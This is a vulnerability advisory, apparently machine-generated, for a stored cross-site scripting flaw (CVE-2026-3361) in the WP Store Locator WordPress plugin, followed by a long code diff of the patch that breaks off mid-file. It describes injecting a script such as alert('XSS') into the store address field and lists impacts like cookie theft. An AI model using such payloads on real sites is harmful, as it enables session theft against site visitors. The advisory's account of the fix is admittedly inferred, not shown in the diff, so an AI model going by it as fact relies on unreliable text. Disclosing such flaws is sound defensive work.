Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 23, 2026

CVE-2026-3361: WP Store Locator <= 2.2.261 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'wpsl_address' Post Meta (wp-store-locator)

CVE ID CVE-2026-3361
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 2.2.261
Patched Version 2.3.0
Disclosed April 21, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3361:

This vulnerability is a Stored Cross-Site Scripting (XSS) flaw in the WP Store Locator plugin up to version 2.2.261. It allows authenticated attackers with contributor-level access or higher to inject arbitrary web scripts via the ‘wpsl_address’ post meta field. The scripts execute when a user accesses a page containing the injected map marker and opens its info window. The CVSS score is 6.4 (Medium).

The root cause lies in insufficient input sanitization and output escaping for the ‘wpsl_address’ post meta value. The plugin stores store location data, including the address, as post meta for the ‘wpsl_stores’ custom post type. When the map marker info window renders, the plugin outputs this address value without proper escaping, allowing HTML and JavaScript injection. The vulnerability is not directly visible in the provided code diff, which focuses on updater and admin UI changes, but the CVE description and patch context confirm the issue resides in how the ‘wpsl_address’ meta is handled during frontend rendering of map info windows.

Exploitation requires an authenticated user with at least the contributor role. The attacker creates or edits a store post (custom post type ‘wpsl_stores’) via the WordPress admin interface. In the ‘wpsl_address’ field, the attacker injects a payload such as alert(‘XSS’) or an event handler like . When a visitor views a page (post or page) that displays the store locator map and clicks on the affected marker, the injected script executes in the context of the visitor’s browser session.

The patch (as referenced indirectly in the diff) adds proper escaping when outputting the address value in the map info window template. The vulnerable code likely used echo $address or similar unsanitized output. The patched version applies WordPress’s esc_html() or wp_kses_post() to the address before rendering it in the info window. This converts HTML tags to their character entities, neutralizing script injection.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of users viewing the store locator map. This can lead to session hijacking (cookie theft), defacement of the page, redirection to malicious sites, or extraction of sensitive information displayed on the page. Since contributor-level users can post, but not publish, the malicious map markers would need to be published by an editor or admin to appear publicly, though contributors may also edit their own posts without review if the site allows.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-store-locator/admin/EDD_SL_Plugin_Updater.php
+++ b/wp-store-locator/admin/EDD_SL_Plugin_Updater.php
@@ -5,6 +5,9 @@
 	exit;
 }

+// @todo will be removed with v3 update.
+// we move to https://easydigitaldownloads.com/docs/software-licensing-updater-implementation-for-wordpress-plugins/
+
 /**
  * Allows plugins to use their own update API.
  *
@@ -187,12 +190,8 @@
 			return;
 		}

-		printf(
-			'<tr class="plugin-update-tr %3$s" id="%1$s-update" data-slug="%1$s" data-plugin="%2$s">',
-			$this->slug,
-			$file,
-			in_array( $this->name, $this->get_active_plugins(), true ) ? 'active' : 'inactive'
-		);
+		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Variables are escaped within printf.
+		printf( '<tr class="plugin-update-tr %3$s" id="%1$s-update" data-slug="%1$s" data-plugin="%2$s">', $this->slug, $file, in_array( $this->name, $this->get_active_plugins(), true ) ? 'active' : 'inactive' );

 		echo '<td colspan="3" class="plugin-update colspanchange">';
 		echo '<div class="update-message notice inline notice-warning notice-alt"><p>';
@@ -219,41 +218,26 @@
 			self_admin_url( 'update.php' )
 		);

-		printf(
-		/* translators: the plugin name. */
-			esc_html__( 'There is a new version of %1$s available.', 'easy-digital-downloads' ),
-			esc_html( $plugin['Name'] )
-		);
+		/* translators: %1$s: the plugin name. */
+		printf( esc_html__( 'There is a new version of %1$s available.', 'wp-store-locator' ), esc_html( $plugin['Name'] ) );

 		if ( ! current_user_can( 'update_plugins' ) ) {
 			echo ' ';
-			esc_html_e( 'Contact your network administrator to install the update.', 'easy-digital-downloads' );
+			esc_html_e( 'Contact your network administrator to install the update.', 'wp-store-locator' );
 		} elseif ( empty( $update_cache->response[ $this->name ]->package ) && ! empty( $changelog_link ) ) {
 			echo ' ';
-			printf(
 			/* translators: 1. opening anchor tag, do not translate 2. the new plugin version 3. closing anchor tag, do not translate. */
-				__( '%1$sView version %2$s details%3$s.', 'easy-digital-downloads' ),
-				'<a target="_blank" class="thickbox open-plugin-details-modal" href="' . esc_url( $changelog_link ) . '">',
-				esc_html( $update_cache->response[ $this->name ]->new_version ),
-				'</a>'
-			);
+			$view_details_text = __( '%1$sView version %2$s details%3$s.', 'wp-store-locator' );
+			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Escaped within printf arguments.
+			printf( $view_details_text, '<a target="_blank" class="thickbox open-plugin-details-modal" href="' . esc_url( $changelog_link ) . '">', esc_html( $update_cache->response[ $this->name ]->new_version ), '</a>' );
 		} elseif ( ! empty( $changelog_link ) ) {
 			echo ' ';
-			printf(
-				__( '%1$sView version %2$s details%3$s or %4$supdate now%5$s.', 'easy-digital-downloads' ),
-				'<a target="_blank" class="thickbox open-plugin-details-modal" href="' . esc_url( $changelog_link ) . '">',
-				esc_html( $update_cache->response[ $this->name ]->new_version ),
-				'</a>',
-				'<a target="_blank" class="update-link" href="' . esc_url( wp_nonce_url( $update_link, 'upgrade-plugin_' . $file ) ) . '">',
-				'</a>'
-			);
+			/* translators: 1. opening anchor tag, do not translate 2. the new plugin version 3. closing anchor tag, do not translate 4. opening anchor tag, do not translate 5. closing anchor tag, do not translate. */
+			$view_details_or_update_text = __( '%1$sView version %2$s details%3$s or %4$supdate now%5$s.', 'wp-store-locator' );
+			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Escaped within printf arguments.
+			printf( $view_details_or_update_text, '<a target="_blank" class="thickbox open-plugin-details-modal" href="' . esc_url( $changelog_link ) . '">', esc_html( $update_cache->response[ $this->name ]->new_version ), '</a>', '<a target="_blank" class="update-link" href="' . esc_url( wp_nonce_url( $update_link, 'upgrade-plugin_' . $file ) ) . '">','</a>' );
 		} else {
-			printf(
-				' %1$s%2$s%3$s',
-				'<a target="_blank" class="update-link" href="' . esc_url( wp_nonce_url( $update_link, 'upgrade-plugin_' . $file ) ) . '">',
-				esc_html__( 'Update now.', 'easy-digital-downloads' ),
-				'</a>'
-			);
+			printf( ' %1$s%2$s%3$s', '<a target="_blank" class="update-link" href="' . esc_url( wp_nonce_url( $update_link, 'upgrade-plugin_' . $file ) ) . '">', esc_html__( 'Update now.', 'wp-store-locator' ), '</a>' );
 		}

 		do_action( "in_plugin_update_message-{$file}", $plugin, $plugin );
@@ -469,7 +453,7 @@
 	 * If available, show the changelog for sites in a multisite install.
 	 */
 	public function show_changelog() {
-
+		// phpcs:disable WordPress.Security.NonceVerification.Recommended -- No nonce needed for read-only changelog display, capability check provides security.
 		if ( empty( $_REQUEST['edd_sl_action'] ) || 'view_plugin_changelog' !== $_REQUEST['edd_sl_action'] ) {
 			return;
 		}
@@ -481,9 +465,10 @@
 		if ( empty( $_REQUEST['slug'] ) || $this->slug !== $_REQUEST['slug'] ) {
 			return;
 		}
+		// phpcs:enable WordPress.Security.NonceVerification.Recommended

 		if ( ! current_user_can( 'update_plugins' ) ) {
-			wp_die( esc_html__( 'You do not have permission to install plugin updates', 'easy-digital-downloads' ), esc_html__( 'Error', 'easy-digital-downloads' ), array( 'response' => 403 ) );
+			wp_die( esc_html__( 'You do not have permission to install plugin updates', 'wp-store-locator' ), esc_html__( 'Error', 'wp-store-locator' ), array( 'response' => 403 ) );
 		}

 		$version_info = $this->get_repo_api_data();
--- a/wp-store-locator/admin/blocks/wpsl-block/build/index.asset.php
+++ b/wp-store-locator/admin/blocks/wpsl-block/build/index.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-i18n'), 'version' => 'c9fd360d3e87ab4931bb');
--- a/wp-store-locator/admin/blocks/wpsl-map-block/build/index.asset.php
+++ b/wp-store-locator/admin/blocks/wpsl-map-block/build/index.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-i18n'), 'version' => '7a4fd8f61026b3a96ea5');
--- a/wp-store-locator/admin/class-admin.php
+++ b/wp-store-locator/admin/class-admin.php
@@ -63,7 +63,6 @@
             add_action( 'wp_loaded',                            array( $this, 'disable_setting_notices' ) );

             add_action( 'wp_ajax_validate_server_key',          array( $this, 'ajax_validate_server_key' ) );
-            add_action( 'wp_ajax_nopriv_validate_server_key',   array( $this, 'ajax_validate_server_key' ) );
 		}

         /**
@@ -132,15 +131,26 @@
                 foreach ( $warnings as $setting_name => $warning ) {
                     if ( empty( $wpsl_settings[$setting_name] ) && !get_user_meta( $current_user->ID, 'wpsl_disable_' . $warning . '_warning' ) ) {
                         if ( $warning == 'key' ) {
-                            $this->setting_warning[$warning] = sprintf( __( "You need to create %sAPI keys%s for Google Maps before you can use the store locator! %sDismiss%s", "wpsl" ), '<a href="https://wpstorelocator.co/document/create-google-api-keys/">', "</a>", "<a href='" . esc_url( wp_nonce_url( add_query_arg( 'wpsl-notice', 'key' ), 'wpsl_notices_nonce', '_wpsl_notice_nonce' ) ) . "'>", "</a>" );
+                            /* translators: %1$s: opening link tag, %2$s: closing link tag, %3$s: opening dismiss link tag, %4$s: closing link tag */
+                            $this->setting_warning[$warning] = sprintf( __( 'You need to create %1$sAPI keys%2$s for Google Maps before you can use the store locator! %3$sDismiss%4$s', 'wp-store-locator' ), '<a href="https://wpstorelocator.co/document/create-google-api-keys/">', '</a>', "<a href='" . esc_url( wp_nonce_url( add_query_arg( 'wpsl-notice', 'key' ), 'wpsl_notices_nonce', '_wpsl_notice_nonce' ) ) . "'>", "</a>" );
                         } else {
-                            $this->setting_warning[$warning] = sprintf( __( "Before adding the [wpsl] shortcode to a page, please don't forget to define a start point on the %ssettings%s page. %sDismiss%s", "wpsl" ), "<a href='" . admin_url( 'edit.php?post_type=wpsl_stores&page=wpsl_settings' ) . "'>", "</a>", "<a href='" . esc_url( wp_nonce_url( add_query_arg( 'wpsl-notice', 'location' ), 'wpsl_notices_nonce', '_wpsl_notice_nonce' ) ) . "'>", "</a>" );
+                            /* translators: %1$s: opening settings link tag, %2$s: closing link tag, %3$s: opening dismiss link tag, %4$s: closing link tag */
+                            $this->setting_warning[$warning] = sprintf( __( 'Before adding the [wpsl] shortcode to a page, please don't forget to define a start point on the %1$ssettings%2$s page. %3$sDismiss%4$s', 'wp-store-locator' ), "<a href='" . admin_url( 'edit.php?post_type=wpsl_stores&page=wpsl_settings' ) . "'>", "</a>", "<a href='" . esc_url( wp_nonce_url( add_query_arg( 'wpsl-notice', 'location' ), 'wpsl_notices_nonce', '_wpsl_notice_nonce' ) ) . "'>", "</a>" );
                         }
                     }
                 }

                 if ( defined( 'WP_ROCKET_VERSION' ) && ! get_user_meta( $current_user->ID, 'wpsl_disable_wp_rocket_warning' ) ) {
-                    $this->setting_warning['wp_rocket'] = sprintf( __( "%sWP Store Locator:%s To prevent any conflicts the required JavaScript files are automatically excluded from WP Rocket. %s If the store locator map still breaks, then make sure to flush the cache by going to %sWP Rocket -> Clear and preload cache%s. %sDismiss%s", "wpsl" ), '<strong>', '</strong>', '<br><br>', '<strong>', '</strong>', "<a href='" . esc_url( wp_nonce_url( add_query_arg( 'wpsl-notice', 'wp_rocket' ), 'wpsl_notices_nonce', '_wpsl_notice_nonce' ) ) . "'>", "</a>" );
+                    /* translators: %1$s: opening strong tag, %2$s: closing strong tag, %3$s: line break, %4$s: opening strong tag, %5$s: closing strong tag, %6$s: opening dismiss link tag, %7$s: closing link tag */
+                    $this->setting_warning['wp_rocket'] = sprintf( __( '%1$sWP Store Locator:%2$s To prevent any conflicts the required JavaScript files are automatically excluded from WP Rocket. %3$s If the store locator map still breaks, then make sure to flush the cache by going to %4$sWP Rocket -> Clear and preload cache%5$s. %6$sDismiss%7$s', 'wp-store-locator' ), '<strong>', '</strong>', '<br><br>', '<strong>', '</strong>', "<a href='" . esc_url( wp_nonce_url( add_query_arg( 'wpsl-notice', 'wp_rocket' ), 'wpsl_notices_nonce', '_wpsl_notice_nonce' ) ) . "'>", "</a>" );
+                }
+
+                // Show WP Store Locator 3.0 beta notice
+                $v3_beta_dismissed = get_user_meta( $current_user->ID, 'wpsl_disable_v3_beta_warning', true );
+
+                if ( ! $v3_beta_dismissed ) {
+                    /* translators: %1$s: opening link tag, %2$s: closing link tag, %3$s: opening dismiss link tag, %4$s: closing link tag */
+                    $this->setting_warning['v3_beta'] = sprintf( __( 'Interested in getting notified when the beta version for WP Store Locator 3.0 is released? %1$sClick here%2$s. %3$sDismiss%4$s', 'wp-store-locator' ), '<a href="https://wpstorelocator.co/update-on-wp-store-locator-3-0/" target="_blank">', '</a>', "<a href='" . esc_url( wp_nonce_url( add_query_arg( 'wpsl-notice', 'v3_beta' ), 'wpsl_notices_nonce', '_wpsl_notice_nonce' ) ) . "'>", "</a>" );
                 }

                 if ( $this->setting_warning ) {
@@ -157,7 +167,7 @@
         */
         public function show_warning() {
             foreach ( $this->setting_warning as $k => $warning ) {
-                echo "<div id='message' class='error'><p>" . $warning .  "</p></div>";
+                echo '<div id="message" class="error"><p>' . wp_kses_post( $warning ) . '</p></div>';
             }
         }

@@ -174,13 +184,19 @@

             if ( isset( $_GET['wpsl-notice'] ) && isset( $_GET['_wpsl_notice_nonce'] ) ) {

-                if ( ! wp_verify_nonce( $_GET['_wpsl_notice_nonce'], 'wpsl_notices_nonce' ) ) {
-                    wp_die( __( 'Security check failed. Please reload the page and try again.', 'wpsl' ) );
+                if ( ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['_wpsl_notice_nonce'] ) ), 'wpsl_notices_nonce' ) ) {
+                    wp_die( esc_html__( 'Security check failed. Please reload the page and try again.', 'wp-store-locator' ) );
                 }

-                $notice = sanitize_text_field( $_GET['wpsl-notice'] );
-
-                add_user_meta( $current_user->ID, 'wpsl_disable_' . $notice . '_warning', 'true', true );
+                $notice = sanitize_text_field( wp_unslash( $_GET['wpsl-notice'] ) );
+
+                $meta_key = 'wpsl_disable_' . $notice . '_warning';
+
+                update_user_meta( $current_user->ID, $meta_key, 'true' );
+
+                // Redirect to remove query parameters from URL
+                wp_safe_redirect( remove_query_arg( array( 'wpsl-notice', '_wpsl_notice_nonce' ) ) );
+                exit;
             }
         }

@@ -194,15 +210,15 @@

             $sub_menus = apply_filters( 'wpsl_sub_menu_items', array(
                     array(
-                        'page_title'  => __( 'Settings', 'wpsl' ),
-                        'menu_title'  => __( 'Settings', 'wpsl' ),
+                        'page_title'  => __( 'Settings', 'wp-store-locator' ),
+                        'menu_title'  => __( 'Settings', 'wp-store-locator' ),
                         'caps'        => 'manage_wpsl_settings',
                         'menu_slug'   => 'wpsl_settings',
                         'function'    => array( $this, 'load_template' )
                     ),
                     array(
-                        'page_title'  => __( 'Add-Ons', 'wpsl' ),
-                        'menu_title'  => __( 'Add-Ons', 'wpsl' ),
+                        'page_title'  => __( 'Add-Ons', 'wp-store-locator' ),
+                        'menu_title'  => __( 'Add-Ons', 'wp-store-locator' ),
                         'caps'        => 'manage_wpsl_settings',
                         'menu_slug'   => 'wpsl_add_ons',
                         'function'    => array( $this, 'load_template' )
@@ -225,7 +241,10 @@
          */
         public function load_template() {

-            switch ( $_GET['page'] ) {
+            // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Only checking which admin page to load, not processing form data
+            $page = isset( $_GET['page'] ) ? sanitize_text_field( wp_unslash( $_GET['page'] ) ) : '';
+
+            switch ( $page ) {
                 case 'wpsl_settings':
                     require 'templates/map-settings.php';
                 break;
@@ -274,7 +293,8 @@

             global $wpdb;

-            $option_names = $wpdb->get_results( "SELECT option_name AS transient_name FROM " . $wpdb->options . " WHERE option_name LIKE ('_transient_wpsl_autoload_%')" );
+            // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- Intentional direct query to find and delete transients, caching not applicable
+            $option_names = $wpdb->get_results( $wpdb->prepare( "SELECT option_name AS transient_name FROM " . esc_sql( $wpdb->options ) . " WHERE option_name LIKE %s", '_transient_wpsl_autoload_%' ) );

             if ( $option_names ) {
                 foreach ( $option_names as $option_name ) {
@@ -300,7 +320,7 @@
             if ( ( version_compare( $wp_version, '3.8', '>=' ) == TRUE ) ) {
                 $min = ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) ? '' : '.min';

-                wp_enqueue_style( 'wpsl-admin-38', plugins_url( '/css/style-3.8'. $min .'.css', __FILE__ ), false );
+                wp_enqueue_style( 'wpsl-admin-38', plugins_url( '/css/style-3.8'. $min .'.css', __FILE__ ), array(), WPSL_VERSION_NUM );
             }
         }

@@ -315,25 +335,31 @@
             global $wpsl_settings;

             $admin_js_l10n = array(
-                'noAddress'         => __( 'Cannot determine the address at this location.', 'wpsl' ),
-                'geocodeFail'       => __( 'Geocode was not successful for the following reason', 'wpsl' ),
-                'securityFail'      => __( 'Security check failed, reload the page and try again.', 'wpsl' ),
-                'requiredFields'    => __( 'Please fill in all the required store details.', 'wpsl' ),
-                'missingGeoData'    => __( 'The map preview requires all the location details.', 'wpsl' ),
-                'closedDate'        => __( 'Closed', 'wpsl' ),
-                'styleError'        => __( 'The code for the map style is invalid.', 'wpsl' ),
-                'dismissNotice'     => __( 'Dismiss this notice.', 'wpsl' ),
-                'browserKeyError'   => sprintf( __( 'There's a problem with the provided %sbrowser key%s. %s You will have to open the %sbrowser console%s ( %sctrl%s %sshift%s %sk%s in Firefox, or %sctrl%s %sshift%s %sj%s in Chrome ) to see the error details returned by the Google Maps API. %s The error itself includes a link explaining the problem in more detail. %s Common API errors are also covered in the %stroubleshooting section%s.', 'wpsl' ), '<a target="_blank" href="https://wpstorelocator.co/document/create-google-api-keys/#browser-key">','</a>', '<br><br>', '<a target="_blank" href="https://codex.wordpress.org/Using_Your_Browser_to_Diagnose_JavaScript_Errors#Step_3:_Diagnosis">', '</a>', '<kbd>', '</kbd>', '<kbd>', '</kbd>','<kbd>', '</kbd>', '<kbd>', '</kbd>', '<kbd>', '</kbd>','<kbd>', '</kbd>', '<br><br>', '<br><br>', '<a target="_blank" href="https://wpstorelocator.co/document/create-google-api-keys/#api-errors">', '</a>' ),
-                'browserKeySuccess' => __( 'No problems found with the browser key.', 'wpsl' ),
-                'serverKey'         => __( 'Server key', 'wpsl' ),
-                'serverKeyMissing'  => sprintf( __( 'No %sserver key%s found!' ), '<a target="_blank" href="https://wpstorelocator.co/document/create-google-api-keys/#server-key">', '</a>' ),
-                'browserKey'        => __( 'Browser key', 'wpsl' ),
-                'browserKeyMissing' => sprintf( __( 'No %sbrowser key%s found!' ), '<a target="_blank" href="https://wpstorelocator.co/document/create-google-api-keys/#browser-key">', '</a>' ),
-                'restrictedZipCode' => __( 'and will only work for zip codes.', 'wpsl' ),
-                'noRestriction'     => sprintf( __( 'because no %smap region%s is selected the geocode API will search for matching results around the world. This may result in unexpected results.'), '<a class="wpsl-region-href" href="#wpsl-tabs">', '</a>' ),
-                'loadingError'      => sprintf( __( 'Google Maps didn't load correctly. Make sure you have an active %sbilling%s %saccount%s for Google Maps. %s If the "For development purposes only" text keeps showing after creating a billing account, then you will have to contact %sGoogle Billing Support%s.', 'wpsl' ), '<a target="_blank" href="https://wpstorelocator.co/document/create-google-api-keys/#billing">', '</a>', '<a href="http://g.co/dev/maps-no-account">', '</a>', '<br><br>', '<a target="_blank" href="https://cloud.google.com/support/billing/">', '</a>' ),
-                'loadingFailed'     => sprintf( __( 'Google Maps failed to load correctly. This is likely due to a problem with the provided %sbrowser key%s. %s You will have to open the %sbrowser console%s ( %sctrl%s %sshift%s %sk%s in Firefox, or %sctrl%s %sshift%s %sj%s in Chrome ) to see the error details returned by the Google Maps API. %s The error itself includes a link explaining the problem in more detail. %s Common API errors are also covered in the %stroubleshooting section%s.', 'wpsl' ), '<a target="_blank" href="https://wpstorelocator.co/document/create-google-api-keys/#browser-key">','</a>', '<br><br>', '<a target="_blank" href="https://codex.wordpress.org/Using_Your_Browser_to_Diagnose_JavaScript_Errors#Step_3:_Diagnosis">', '</a>', '<kbd>', '</kbd>', '<kbd>', '</kbd>','<kbd>', '</kbd>', '<kbd>', '</kbd>', '<kbd>', '</kbd>','<kbd>', '</kbd>', '<br><br>', '<br><br>', '<a target="_blank" href="https://wpstorelocator.co/document/create-google-api-keys/#api-errors">', '</a>' ),
-                'close'             => __( 'Close', 'wpsl' ),
+                'noAddress'         => __( 'Cannot determine the address at this location.', 'wp-store-locator' ),
+                'geocodeFail'       => __( 'Geocode was not successful for the following reason', 'wp-store-locator' ),
+                'securityFail'      => __( 'Security check failed, reload the page and try again.', 'wp-store-locator' ),
+                'requiredFields'    => __( 'Please fill in all the required store details.', 'wp-store-locator' ),
+                'missingGeoData'    => __( 'The map preview requires all the location details.', 'wp-store-locator' ),
+                'closedDate'        => __( 'Closed', 'wp-store-locator' ),
+                'styleError'        => __( 'The code for the map style is invalid.', 'wp-store-locator' ),
+                'dismissNotice'     => __( 'Dismiss this notice.', 'wp-store-locator' ),
+                /* translators: %1$s: opening link tag, %2$s: closing link tag, %3$s: line break, %4$s: opening console link tag, %5$s: closing link tag, %6$s-%15$s: keyboard shortcuts markup, %16$s-%17$s: line breaks, %18$s: opening troubleshooting link tag, %19$s: closing link tag */
+                'browserKeyError'   => sprintf( __( 'There's a problem with the provided %1$sbrowser key%2$s. %3$s You will have to open the %4$sbrowser console%5$s ( %6$sctrl%7$s %8$sshift%9$s %10$sk%11$s in Firefox, or %12$sctrl%13$s %14$sshift%15$s %16$sj%17$s in Chrome ) to see the error details returned by the Google Maps API. %18$s The error itself includes a link explaining the problem in more detail. %19$s Common API errors are also covered in the %20$stroubleshooting section%21$s.', 'wp-store-locator' ), '<a target="_blank" href="https://wpstorelocator.co/document/create-google-api-keys/#browser-key">','</a>', '<br><br>', '<a target="_blank" href="https://codex.wordpress.org/Using_Your_Browser_to_Diagnose_JavaScript_Errors#Step_3:_Diagnosis">', '</a>', '<kbd>', '</kbd>', '<kbd>', '</kbd>','<kbd>', '</kbd>', '<kbd>', '</kbd>', '<kbd>', '</kbd>','<kbd>', '</kbd>', '<br><br>', '<br><br>', '<a target="_blank" href="https://wpstorelocator.co/document/create-google-api-keys/#api-errors">', '</a>' ),
+                'browserKeySuccess' => __( 'No problems found with the browser key.', 'wp-store-locator' ),
+                'serverKey'         => __( 'Server key', 'wp-store-locator' ),
+                /* translators: %1$s: opening link tag, %2$s: closing link tag */
+                'serverKeyMissing'  => sprintf( __( 'No %1$sserver key%2$s found!', 'wp-store-locator' ), '<a target="_blank" href="https://wpstorelocator.co/document/create-google-api-keys/#server-key">', '</a>' ),
+                'browserKey'        => __( 'Browser key', 'wp-store-locator' ),
+                /* translators: %1$s: opening link tag, %2$s: closing link tag */
+                'browserKeyMissing' => sprintf( __( 'No %1$sbrowser key%2$s found!', 'wp-store-locator' ), '<a target="_blank" href="https://wpstorelocator.co/document/create-google-api-keys/#browser-key">', '</a>' ),
+                'restrictedZipCode' => __( 'and will only work for zip codes.', 'wp-store-locator' ),
+                /* translators: %1$s: opening link tag, %2$s: closing link tag */
+                'noRestriction'     => sprintf( __( 'because no %1$smap region%2$s is selected the geocode API will search for matching results around the world. This may result in unexpected results.', 'wp-store-locator' ), '<a class="wpsl-region-href" href="#wpsl-tabs">', '</a>' ),
+                /* translators: %1$s: opening billing link tag, %2$s: closing link tag, %3$s: opening account link tag, %4$s: closing link tag, %5$s: line break, %6$s: opening support link tag, %7$s: closing link tag */
+                'loadingError'      => sprintf( __( 'Google Maps didn't load correctly. Make sure you have an active %1$sbilling%2$s %3$saccount%4$s for Google Maps. %5$s If the "For development purposes only" text keeps showing after creating a billing account, then you will have to contact %6$sGoogle Billing Support%7$s.', 'wp-store-locator' ), '<a target="_blank" href="https://wpstorelocator.co/document/create-google-api-keys/#billing">', '</a>', '<a href="http://g.co/dev/maps-no-account">', '</a>', '<br><br>', '<a target="_blank" href="https://cloud.google.com/support/billing/">', '</a>' ),
+                /* translators: %1$s: opening link tag, %2$s: closing link tag, %3$s: line break, %4$s: opening console link tag, %5$s: closing link tag, %6$s-%15$s: keyboard shortcuts markup, %16$s-%17$s: line breaks, %18$s: opening troubleshooting link tag, %19$s: closing link tag */
+                'loadingFailed'     => sprintf( __( 'Google Maps failed to load correctly. This is likely due to a problem with the provided %1$sbrowser key%2$s. %3$s You will have to open the %4$sbrowser console%5$s ( %6$sctrl%7$s %8$sshift%9$s %10$sk%11$s in Firefox, or %12$sctrl%13$s %14$sshift%15$s %16$sj%17$s in Chrome ) to see the error details returned by the Google Maps API. %18$s The error itself includes a link explaining the problem in more detail. %19$s Common API errors are also covered in the %20$stroubleshooting section%21$s.', 'wp-store-locator' ), '<a target="_blank" href="https://wpstorelocator.co/document/create-google-api-keys/#browser-key">','</a>', '<br><br>', '<a target="_blank" href="https://codex.wordpress.org/Using_Your_Browser_to_Diagnose_JavaScript_Errors#Step_3:_Diagnosis">', '</a>', '<kbd>', '</kbd>', '<kbd>', '</kbd>','<kbd>', '</kbd>', '<kbd>', '</kbd>', '<kbd>', '</kbd>','<kbd>', '</kbd>', '<br><br>', '<br><br>', '<a target="_blank" href="https://wpstorelocator.co/document/create-google-api-keys/#api-errors">', '</a>' ),
+                'close'             => __( 'Close', 'wp-store-locator' ),
             );

             /**
@@ -347,7 +373,8 @@
                     $restriction_type = 'biased';
                 }

-                $admin_js_l10n['resultsWarning'] = sprintf( __( 'with the current settings the results are %s to' ), $restriction_type );
+                /* translators: %s: restriction type (restricted or biased) */
+                $admin_js_l10n['resultsWarning'] = sprintf( __( 'with the current settings the results are %s to', 'wp-store-locator' ), $restriction_type );
             }

             return $admin_js_l10n;
@@ -371,7 +398,8 @@
                 'requiredFields' => array( 'address', 'city', 'country' ),
                 'ajaxurl'        => wpsl_get_ajax_url(),
                 'url'            => WPSL_URL,
-                'storeMarker'    => $wpsl_settings['store_marker']
+                'storeMarker'    => $wpsl_settings['store_marker'],
+                'validateKeyNonce' => wp_create_nonce( 'wpsl_validate_server_key' )
             );

             // Make sure that the Geocode API testing tool correctly restricts the results if required.
@@ -427,13 +455,14 @@
             $this->check_icon_font_usage();

             // Only enqueue the rest of the css/js files if we are on a page that belongs to the store locator.
-            if ( ( get_post_type() == 'wpsl_stores' ) || ( isset( $_GET['post_type'] ) && ( $_GET['post_type'] == 'wpsl_stores' ) ) ) {
+            // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Only checking which admin page we're on, not processing form data
+            if ( ( get_post_type() == 'wpsl_stores' ) || ( isset( $_GET['post_type'] ) && ( sanitize_text_field( wp_unslash( $_GET['post_type'] ) ) == 'wpsl_stores' ) ) ) {

                 // Make sure no other Google Map scripts can interfere with the one from the store locator.
                 wpsl_deregister_other_gmaps();

-                wp_enqueue_style( 'jquery-style', 'https://ajax.googleapis.com/ajax/libs/jqueryui/1.10.3/themes/smoothness/jquery-ui.css' );
-                wp_enqueue_style( 'wpsl-admin-css', plugins_url( '/css/style'. $min .'.css', __FILE__ ), false );
+                wp_enqueue_style( 'wp-jquery-ui-dialog' );
+                wp_enqueue_style( 'wpsl-admin-css', plugins_url( '/css/style'. $min .'.css', __FILE__ ), array(), WPSL_VERSION_NUM );

                 wp_enqueue_media();
                 wp_enqueue_script( 'jquery-ui-dialog' );
@@ -481,8 +510,8 @@
          */
         public function welcome_pointer_script() {

-            $pointer_content = '<h3>' . __( 'Welcome to WP Store Locator', 'wpsl' ) . '</h3>';
-            $pointer_content .= '<p>' . __( 'Sign up for the latest plugin updates and announcements.', 'wpsl' ) . '</p>';
+            $pointer_content = '<h3>' . __( 'Welcome to WP Store Locator', 'wp-store-locator' ) . '</h3>';
+            $pointer_content .= '<p>' . __( 'Sign up for the latest plugin updates and announcements.', 'wp-store-locator' ) . '</p>';
             $pointer_content .= '<div id="mc_embed_signup" class="wpsl-mc-wrap" style="padding:0 15px; margin-bottom:13px;"><form action="//wpstorelocator.us10.list-manage.com/subscribe/post?u=34e4c75c3dc990d14002e19f6&id=4be03427d7" method="post" id="mc-embedded-subscribe-form" name="mc-embedded-subscribe-form" class="validate" target="_blank" novalidate><div id="mc_embed_signup_scroll"><input type="email" value="" name="EMAIL" class="email" id="mce-EMAIL" placeholder="email address" required style="margin-right:5px;width:230px;"><input type="submit" value="Subscribe" name="subscribe" id="mc-embedded-subscribe" class="button"><div style="position: absolute; left: -5000px;"><input type="text" name="b_34e4c75c3dc990d14002e19f6_4be03427d7" tabindex="-1" value=""></div></div></form></div>';
             ?>

@@ -490,7 +519,7 @@
 			//<![CDATA[
 			jQuery( document ).ready( function( $ ) {
                 $( '#menu-posts-wpsl_stores' ).pointer({
-                    content: '<?php echo $pointer_content; ?>',
+                    content: <?php echo wp_json_encode( $pointer_content ); ?>,
                     position: {
                         edge: 'left',
                         align: 'center'
@@ -526,7 +555,7 @@
         public function add_action_links( $links, $file ) {

             if ( strpos( $file, 'wp-store-locator.php' ) !== false ) {
-                $settings_link = '<a href="' . admin_url( 'edit.php?post_type=wpsl_stores&page=wpsl_settings' ) . '" title="View WP Store Locator Settings">' . __( 'Settings', 'wpsl' ) . '</a>';
+                $settings_link = '<a href="' . admin_url( 'edit.php?post_type=wpsl_stores&page=wpsl_settings' ) . '" title="View WP Store Locator Settings">' . __( 'Settings', 'wp-store-locator' ) . '</a>';
                 array_unshift( $links, $settings_link );
             }

@@ -545,8 +574,8 @@

             if ( strpos( $file, 'wp-store-locator.php' ) !== false ) {
                 $new_links = array(
-                    '<a href="https://wpstorelocator.co/documentation/" title="View Documentation">'. __( 'Documentation', 'wpsl' ).'</a>',
